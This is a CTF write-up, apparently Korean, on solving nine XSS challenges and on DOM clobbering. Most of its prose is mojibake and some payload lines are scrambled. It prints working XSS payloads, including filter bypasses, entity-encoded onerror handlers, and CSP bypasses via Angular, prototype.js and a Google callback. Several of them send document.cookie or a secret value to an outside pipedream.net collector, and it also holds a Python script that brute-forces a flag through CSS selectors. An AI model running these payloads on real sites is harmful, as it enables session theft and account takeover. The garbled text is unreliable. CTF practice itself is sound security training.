Mini CTF (XSS)
1๋ฒ
1๋ฒ ๋ฌธ์ ๋ ์๋ฌด ์ ์ฝ์กฐ๊ฑด์ด ์์ด์
๋ก ํด๊ฒฐํ ์ ์์๋ค.
2๋ฒ
ํ์ด์ง ์์ค๋ฅผ ๋ณด๋ฉด,
script์ img๋ฅผ ๊ณต๋ฐฑ์ผ๋ก ๋์ฒดํ๊ณ ์๋ค.
$q = $_GET['q'];
$q = str_replace("<script","",$q);
$q = str_replace("<img","",$q);
๊ฐ๋จํ๊ฒ script๋ฅผ ๋ ๋ฒ ์จ์ฃผ๋ฉด ํด๊ฒฐ๋๋ ๋ฌธ์ ์๋ค.
- Payload
- <scr<scriptipt>location.href='https://eoe4b2t4ui5w640.m.pipedream.net/'%2bdocument.cookie;</scr<scriptipt>
3๋ฒ
ํ์ด์ง ์์ค๋ฅผ ๋ณด๋ฉด,
$q = $_GET['q'];
$q = str_replace("document.cookie","x-document.cookie",$q);
echo $q;
?></h1>
document.cookie๋ฅผ ํํฐ๋งํ๊ณ ์๊ธฐ ๋๋ฌธ์ [’ ‘] ๋ฅผ ์ฌ์ฉํด์ ์ฐํํ๋ค.
- PAYLOAD
4๋ฒ
ํ์ด์ง ์์ค๋ฅผ ๋ณด๋ฉด, ๋ฌธ์๋ฅผ ๋๋ฌธ์๋ก ๋ฐ๊พธ๋ ํจ์๊ฐ ์ฌ์ฉ๋๊ณ ์๋ค.
๋๋ฌธ์ ๋๋ ๊ฒ์ ๋ฐฉ์งํ๊ธฐ ์ํด HTML entity encoder๋ฅผ ํ์ฉํ์๋ค.
๋ฌธ์ ๋ ๊ธ์์ ์ ํ์ด 500์ผ๋ก ๊ฑธ๋ ค์์ด์ ์ฃผ๋ก ์ฌ์ฉํ๋ pipedream ์๋ฒ๋ก๋ ๋ณด๋ด์ง ๋ชปํ์ฌ ์ธ๋ถ ์๋ฒ๋ก ๋ณด๋ด๋ ๋ฐฉ๋ฒ์ ์ ํํ์๋ค.
$q = $_GET['q'];
$q = strtoupper($q);
- entity encode location.href='[https://eoe4b2t4ui5w640.m.pipedream.net/'+document.cookie](https://eoe4b2t4ui5w640.m.pipedream.net/'+document.cookie);
- img ์์ฑ์ ๋ฃ๊ธฐ <img src=a onerror="location.href='[https://eoe4b2t4ui5w640.m.pipedream.net/'+document.cookie](https://eoe4b2t4ui5w640.m.pipedream.net/'+document.cookie)">
- url encode http://wuq.kr:9090/xss4.php?q=<img src%3Da onerror%3D"%26%23x6C%3B%26%23x6F%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6F%3B%26%23x6E%3B.%26%23x68%3B%26%23x72%3B%26%23x65%3B%26%23x66%3B%3D'https%3A%2F%2Feoe4b2t4ui5w640.m.pipedream.net%2F'%2B%26%23x64%3B%26%23x6F%3B%26%23x63%3B%26%23x75%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B.%26%23x63%3B%26%23x6F%3B%26%23x6F%3B%26%23x6B%3B%26%23x69%3B%26%23x65%3B">
5๋ฒ
ํ์ด์ง ์์ค๋ฅผ ๋ณด๋ฉด, ๋ก์ปฌํ๊ฒฝ์ผ๋ก ์คํํด์ผ์ง๋ง flag๋ฅผ ์ป์ ์ ์์๋ค.
๋ก์ปฌ์์ ๋ณด๋ธ ๊ฒ์ฒ๋ผ ๋ก์ปฌ์์ ๋ณด๋ด๊ณ reconnect๋ฅผ ํด์ฃผ์๋ค.
์ด๋ฒ ๋ฌธ์ ์์๋ FLAG{fake_flag}์ ์๋ ๊ฐ์ document.getElementById(’secret’).value์ ์ด์ฉํด์ flag๋ฅผ ๊ตฌํ์๋ค.
$sec_value = file_get_contents("/app/secret");
if($_SERVER['REMOTE_ADDR'] != "127.0.0.1"){
$sec_value = "FLAG{fake_flag}";
}
?>
<input id="secret" value="<?php echo $sec_value;?>">
- PAYLOAD
- <script> location.href="http://127.0.0.1/xss5.php?q=<script>location.href='https://eoe4b2t4ui5w640.m.pipedream.net/'+document.getElementById('secret').value;</script>"; </script>
6๋ฒ
<style>
<?php
$q = str_replace('<','',$_GET['q']);
$q = str_replace('>','',$q);
echo $q;
?>
</style>
6๋ฒ ๋ฌธ์ ๋ $_GET[’q’]๊ฐ <style>ํ๊ทธ ์์ ์์นํ๊ณ ์์ด input[value^=] ๋ฅผ ํ์ฉํ์๋ค.
๋ ์์์ , < ์ > ์ด ๊ณต๋ฐฑ์ผ๋ก ์นํ๋๊ธฐ ๋๋ฌธ์ exploit code๋ ๋ค์๊ณผ ๊ฐ์ด ์ฒ๋ฆฌํ์๋ค.
import requests
import string
def mysql(condition):
url = '<http://wuq.kr:9090/report.php>'
query = '<http://wuq.kr:9090/xss1.php?q=>location.href="<http://127.0.0.1/xss6.php?q=input[value^=\\'%s\\']>{ background: url(\\'<<a href=https://eoe4b2t4ui5w640.m.pipedream.net/%s>https://eoe4b2t4ui5w640.m.pipedream.net/%s</a>\\')}\\"'> query_final = query %(condition, condition) datas = {'url':query_final, 'submit':'1'} R = requests.post(url, data=datas) flag = 'FLAG{XSS6_ashd' for i in range(0x21,0x7E): pre_flag = flag + chr(i) print(pre_flag) mysql(pre_flag)
7๋ฒ
7๋ฒ๋ถํฐ๋ CSP๊ฐ ๊ฑธ๋ ค์๋ค.
header("Content-Security-Policy: script-src 'self';");
์ฌ์ง๊ณผ ๊ฐ์ด ๋ด ๋ก์ปฌ ์ฃผ์๋ฅผ ์ ์ถํ๋ฉด txt๊ฐ์ด ๋ฐํ๋๊ณ ์ด๋ฅผ ํ์ด๋ก๋๋ก ๋ณด๋ด๋ฉด flag๋ฅผ ์ป์ ์ ์์๋ค.
- PAYLOAD
- http://wuq.kr:9090/xss7.php?q=<script src="http://wuq.kr:9090/upload/177e2ac8d70a59e5e5967d393fa0d89bfdf650ee.txt"></script>
8๋ฒ
8๋ฒ๋ฌธ์ ๋ CSP๊ฐ ๊ฑธ๋ ค์์๊ณ , ๊ตฌ๊ธ๋ง์ ํตํด CSP bypass ๋ฐฉ๋ฒ์ ์ฐพ์์ angular์ prototype ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์ด์ฉํด์ ํ ์ ์๋ ๋ฌธ์ ์๋ค.
- PAYLOADhttps://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.jshttps://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.jshttps://eoe4b2t4ui5w640.m.pipedream.net/xxxx'+document['cookie
- ']") }} </div>
- "/></script><div ng-app ng-csp> {{ x = $on.curry.call().eval("location.href='
- "></script><script src="
- <script src="
์ฒ์์๋ ์ ๋ณด๋ด์ง์ง ์์๋๋ฐ URL ์ธ์ฝ๋ฉ ํ์ ๋ณด๋ด๋ ์ ์์ ์ผ๋ก flag๋ฅผ ํ์ธํ ์ ์์๋ค.
9๋ฒ
ํด๋น ๋ฌธ์ ์์๋ *.google.com์์ ์ค๋ javascript๋ง ํ์ฉํ๊ณ ์๋ค. ๊ทธ๋ ๊ธฐ ๋๋ฌธ์, ๊ตฌ๊ธ ์๋น์ค ์ค์์ javascript๋ฅผ ์คํํ ์ ์๋ ๊ฑธ ์ฐพ์ผ๋ฉด ๋ฌธ์ ๋ ํด๊ฒฐ๋๋ค.
Bypassing Content Security Policy ๊ด๋ จ ๋ฌธ์๋ฅผ ์ฐพ์๋ณด์์ ๋,
https://accounts.google.com/o/oauth2/revoke?callback=alert(1) ์ ๊ฐ์ ํ์ด๋ก๋๋ฅผ ๊ตฌํ ์ ์์๋ค.
DOM Clobbering
DOM Clobbering?
DOM Clobbering์ Javascript์์์ DOM ์ฒ๋ฆฌ ๋ฐฉ์์ ์ด์ฉํ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ด๋ค.
์ด๋ DOM Based XSS์ค ์ธ๋ถ ๊ณต๊ฒฉ ๊ธฐ๋ฒ ์ค ํ๋๋ก, ์ฌ์ฉ์๊ฐ HTML์ ์์ ํ ์ ์๋ ๊ฒฝ์ฐ ์์์ DOM ๊ฐ์ฒด๋ฅผ ์ฝ์ ํ์ฌ ๋ค๋ฅธ DOM ๊ฐ์ฒด๋ฅผ ์ญ์ ํ๊ฑฐ๋ ๋ฎ์ด์ฐ๋ ๋ฐฉ์์ผ๋ก ๋ณ์กฐํ๋ ๊ณต๊ฒฉ์ด๋ค.
์ผ๋ฐ์ ์ธ Stored XSS, Reflected XSS ๊ณต๊ฒฉ์ ๊ฒฝ์ฐ HTTP Response์ ์ ์ฑ ์คํฌ๋ฆฝํธ ๊ตฌ๋ฌธ์ด ํฌํจ๋์ด ๋ธ๋ผ์ฐ์ ๋ก ์ ๋ฌ๋์ง๋ง, DOM based XSS์ ๊ฒฝ์ฐ ์๋ฒ ์๋ต์์ ์ ์ฑ ์คํฌ๋ฆฝํธ ์กด์ฌ ์ฌ๋ถ๋ฅผ ๊ฐ์งํ ์ ์๋ค.
๊ณต๊ฒฉ ์๋ฆฌ
form ํ๊ทธ์์ getElementById ๋ฅผ ์ฌ์ฉํ๋ฉด, alert์ฐฝ์ด ๋์ด์ง์ง ์๋ ๊ฒ์ ๋ณผ ์ ์๋ค
DOM ํ๊ฒฝ์์ id๊ฐ ๊ฐ์ ๊ฐ์ฒด๊ฐ 2๊ฐ ์ด์ ์กด์ฌํ๋ฉด HTML Collection ๊ฐ์ฒด๊ฐ ๋์ด ์๋์ ๊ฐ์ด 2๊ฐ์ ๊ฐ์ฒด๊ฐ ๋ชจ๋ ์ธ์๋๋ค.
<a id="aTag"></a>
<a id="aTag" name="hello" href="abcd" class="world">asdf</a>
: window.aTag๋ก ์ ๊ทผํ์ ๋, HTML Collection ์ด๋ผ๋ ๊ฐ์ฒด๊ฐ ๋ฐํ๋๋ค.
๋จผ์ ์ ์ธ๋ aํ๊ทธ์ ๋์ค์ ์ ์ธ๋ ํ๊ทธ๊ฐ ๋ชจ๋ ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ฌ๊ธฐ์ ์ค์ํ ๊ฒ์ HTML Collection ๊ฐ์ฒด์์ ์ ๊ทผํ ์ ์๋ ํ์๊ฐ์ฒด๊ฐ 2๊ฐ๊ฐ ์กด์ฌํ๋ค๋ ์ ์ด๋ค.
<aside> ๐ก ๋ง์ฝ id๊ฐ ๊ฐ์ 2๊ฐ ์ด์์ ํ๊ทธ๋ฅผ ์ ํํ๊ฒ ๊ตฌ๋ถํ๊ณ ์ถ๋ค๋ฉด?
</aside>
<a id="aTag" name="a1"></a>
<a id="aTag" name="a2"></a>
Exploit
์๋๋ฆฌ์ค
- ์ฌ์ฉ์๊ฐ HTML์ ์ปจํธ๋กคํ ์ ์๋์ง ํ์ธํ๋ค.
- ์๋น์ค ๋ด DOM ๊ด๋ จ ์ทจ์ฝ(innerHTMl, eval(), document.write, location.href ๋ฑ) ๊ตฌ๊ฐ์ ํ์ธํ๋ค.
- ํด๋น ๊ตฌ๊ฐ์ ์ปจํธ๋กค ํ ์ ์๋ ๋ฐ์ดํฐ์ window.test์ ๊ฐ์ด DOM Clobbering์ด ๊ฐ๋ฅํ ์ง์ ์ ์ฐพ๋๋ค.
value attribute
window.CONFIG.value ๊ฐ์ ๋ณ์กฐํ๊ณ ์ถ๋ค๋ฉด?
window.CONFIG = window.CONFIG || {
version:"2021.08.26",
toLocation:"<<a href=http://example.com>http://example.com</a>>",
value:"FLAG{fake_flag}"
}
if (window.CONFIG.value === "FLAG{helloworld}") {
document.write('Congratulation!!! You know DOM Clobbering!!!');
}else{
document.write('Nope..!');
}
window.CONFIG.value ๋ "FLAG{fake_flag}"๊ฐ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ์ค์ ๋์ด์๋ค.
FLAG์ ๊ฐ์ ๋ณ์กฐํ๊ธฐ ์ํด, aํ๊ทธ์ id ์์ฑ๊ณผ name ์์ฑ์ ์ฌ์ฉํด๋ณผ ์ ์์ง๋ง ์ํ๋ ๋ฌธ์์ด๋ก ๋ฐ๊พธ๊ธด ํ๋ค๋ค. ์ด ๋, value ๋ผ๋ ์์ฑ์ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ด์ฌํ๊ณ ์๋ ํ๊ทธ๋ฅผ ์ด์ฉํ๋ค๋ฉด ๋ณ์กฐ๊ฐ ๊ฐ๋ฅํ๋ค.
input ํ๊ทธ์ value ์์ฑ์ ์ด์ฉํ๋ค๋ฉด,
CONFIG๋ผ๋ id๋ฅผ ํ ๋นํด์ฃผ๊ณ , value ์์ฑ์ ์ํ๋ ๊ฐ์ ํ ๋นํด์ฃผ๋ฉด ๋๋ค.
window.CONFIG = window.CONFIG || {
version:"2021.08.26",
toLocation:"<<a href=http://example.com>http://example.com</a>>",
value:"FLAG{fake_flag}"
}
if (window.CONFIG.value === "FLAG{helloworld}") {
document.write('Congratulation!!! You know DOM Clobbering!!!');
}else{
document.write('Nope..!');
}
a tag & area tag
<a> ํ๊ทธ์ <area> ํ๊ทธ์ ๊ฐ์ฒด ํน์ฑ ์, ํด๋น ๊ฐ์ฒด๋ฅผ ๋ฌธ์์ดํ(toString)ํ ๊ฒฝ์ฐ์ href(URL)์ ๋ฐํํ๋ค.
href ์์ฑ์ URL์ด ์กด์ฌํ ๋, <a> ํ๊ทธ์์ toString() ํจ์๋ฅผ ํธ์ถํ ๊ฒฝ์ฐ, aํ๊ทธ๊ฐ ๋ฌธ์์ด(URL)๋ก ๋ฐํ๋๋ค.
๋ธ๋ก๊ทธ ์ฃผ์
javascript์์ ๊ฐ์ฒด์ ๋ฌธ์์ด์ด ์ฐ์ฐ๋ ๋์๋ Object.toString() ํจ์๊ฐ ์คํ๋๋ค. ์ด๋ก ์ธํด, <a>(๊ฐ์ฒด)์ ‘’(๋น๋ฌธ์์ด)์ + ํ ๊ฒฝ์ฐ์๋ toString()ํจ์๊ฐ ํธ์ถ๋์ด, ๊ฒฐ๊ณผ์ ์ผ๋ก href๊ฐ ์ถ๋ ฅ๋๊ฒ ๋๋ค.
ํด๋น ํ์ด์ง์์ Redirect๋ฅผ ๋ฐ์์์ผ, ๋ค๋ฅธ ํ์ด์ง๋ก ์ด๋์ํค๊ณ ์ถ๋ค๋ฉด?
<html>
<!--
Code Injection Zone
-->
<script>
window.CONFIG = window.CONFIG ||{
version:"2021.11.18",
toLocation: null,
value:"FLAG{fake_flag}"
}
if (window.CONFIG.toLocation != null) {
location.href = window.CONFIG.toLocation;
}else{
document.write("nope...!");
}
</script>
</html>
location.href ์ ๊ฐ์ ๋ฐ๊พธ๋ฉด ํ์ด์ง์ URL์ด ๋ณ๊ฒฝ๋๋ค.
if๋ฌธ ๋ด์์ location.href์ window.CONFIG.toLocation์ด ๋์ ๋๋ฏ๋ก ํด๋น ๊ฐ์ฒด๋ฅผ ๋ณ์กฐํด์ผ ํ๋ค.
location.href๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ฌธ์์ด ๊ฐ์ฒด์ด๊ณ window.CONFIG.toLocation ๊ฐ์ฒด๊ฐ a ํ๊ทธ์ผ ๊ฒฝ์ฐ์ location.href์ ๋์ ๋ ๋ toString()์ ํธ์ถํ๊ฒ ๋๋ค.
์๋๋ฆฌ์ค๋ฅผ ์ง๋ณด๋ฉด,
- a ํ๊ทธ๋ฅผ 2๊ฐ ์ ์ธํ๋ค. → HTML Collection ⇒ name ์์ฑ์ ์ฌ์ฉํ๊ธฐ ์ํด
- 2๊ฐ์ ํ๊ทธ ์ค์ ํ๋์ name ์์ฑ์ “toLocation”์ผ๋ก ์ง์ → toLocation ๊ฐ์ฒด๋ฅผ ๋ณ์กฐํ๊ธฐ ์ํด
- name=”toLocation”์ธ a ํ๊ทธ์ href ์์ฑ์ URL๋ก ์ง์ ํ๋ค.
```php
<html>
**<a id="CONFIG"></a>
<a id="CONFIG" name="toLocation" href="javascript:alert('XSS')"></a>**
<script>
window.CONFIG = window.CONFIG ||{
version:"2021.11.18",
toLocation: null,
value:"FLAG{fake_flag}"
}
if (window.CONFIG.toLocation != null) {
location.href = window.CONFIG.toLocation;
}else{
document.write("nope...!");
}
</script>
</html>